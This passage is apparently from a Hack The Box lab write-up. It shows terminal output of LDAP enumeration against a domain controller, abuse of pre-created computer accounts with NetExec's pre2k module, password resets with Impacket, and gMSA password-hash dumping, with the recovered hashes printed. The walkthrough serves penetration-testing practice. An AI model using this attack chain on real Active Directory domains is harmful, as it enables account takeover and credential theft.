LDAP 10.129.244.95 389 DC01 Terminal Server License Servers 0 Members of this group can update user accounts in Active Directory with information about license issuance, for the purpose of tracking and reporting TS Per User CAL usage LDAP 10.129.244.95 389 DC01 Allowed RODC Password Replication Group 0 Members in this group can have their passwords replicated to all read-only domain controllers in the domain LDAP 10.129.244.95 389 DC01 Denied RODC Password Replication Group 8 Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain LDAP 10.129.244.95 389 DC01 Read-only Domain Controllers 0 Members of this group are Read-Only Domain Controllers in the domain LDAP 10.129.244.95 389 DC01 Enterprise Read-only Domain Controllers 0 Members of this group are Read-Only Domain Controllers in the enterprise LDAP 10.129.244.95 389 DC01 Cloneable Domain Controllers 0 Members of this group that are domain controllers may be cloned. LDAP 10.129.244.95 389 DC01 Protected Users 0 Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information. LDAP 10.129.244.95 389 DC01 Key Admins 0 Members of this group can perform administrative actions on key objects within the domain. LDAP 10.129.244.95 389 DC01 Enterprise Key Admins 0 Members of this group can perform administrative actions on key objects within the forest. LDAP 10.129.244.95 389 DC01 DnsAdmins 0 DNS Administrators Group LDAP 10.129.244.95 389 DC01 DnsUpdateProxy 0 DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers). LDAP 10.129.244.95 389 DC01 IT 1 LDAP 10.129.244.95 389 DC01 Domain Secure Servers 1 ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Pirate] └─$ nxc ldap 10.129.244.95 -u 'pentest' -p 'p3nt3st2025!&' -M pre2k LDAP 10.129.244.95 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP 10.129.244.95 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!& PRE2K 10.129.244.95 389 DC01 Pre-created computer account: MS01$ PRE2K 10.129.244.95 389 DC01 Pre-created computer account: EXCH01$ PRE2K 10.129.244.95 389 DC01 [+] Found 2 pre-created computer accounts. Saved to /home/kali/.nxc/modules/pre2k/pirate.htb/precreated_computers.txt PRE2K 10.129.244.95 389 DC01 [+] Successfully obtained TGT for ms01@pirate.htb PRE2K 10.129.244.95 389 DC01 [+] Successfully obtained TGT for exch01@pirate.htb PRE2K 10.129.244.95 389 DC01 [+] Successfully obtained TGT for 2 pre-created computer accounts. Saved to /home/kali/.nxc/modules/pre2k/ccache ``` {% embed url="" %} ``` ┌──(kali㉿kali)-[~/HTB/Labs/Pirate] └─$ impacket-changepasswd pirate.htb/MS01\$@10.129.244.95 -newpass 'Password@987' -p rpc-samr Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Current password: [*] Changing the password of pirate.htb\MS01$ [*] Connecting to DCE/RPC as pirate.htb\MS01$ [*] Password was changed successfully. ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Pirate] └─$ impacket-changepasswd pirate.htb/EXCH01\$@10.129.244.95 -newpass 'Password@987' -p rpc-samr Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Current password: [*] Changing the password of pirate.htb\EXCH01$ [*] Connecting to DCE/RPC as pirate.htb\EXCH01$ [*] Password was changed successfully. ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Pirate] └─$ python3 gMSADumper.py -u 'MS01$' -p 'Password@987' -d pirate.htb Users or groups who can read password for gMSA_ADCS_prod$: > Domain Secure Servers gMSA_ADCS_prod$:::89fb53c2bc3eadb4142b4158cfdb2997 gMSA_ADCS_prod$:aes256-cts-hmac-sha1-96:be42f681a905710e3384f80fd41c89fc5cf90ce02231146044b5ff7ab3860a41 gMSA_ADCS_prod$:aes128-cts-hmac-sha1-96:637f787f4823e3db89e8751e32e89a55 Users or groups who can read password for gMSA_ADFS_prod$: > Domain Secure Servers gMSA_ADFS_prod$:::accd0fdfe82ff8c84cd710244c7302e8 gMSA_ADFS_prod$:aes256-cts-hmac-sha1-96:528fc97bf06eab5b5a6068ed201d14eb90efa606dedee12d7f8fc79afc08616a gMSA_ADFS_prod$:aes128-cts-hmac-sha1-96:5c0c4ae1b21c6235c17eaa88013b69ef ```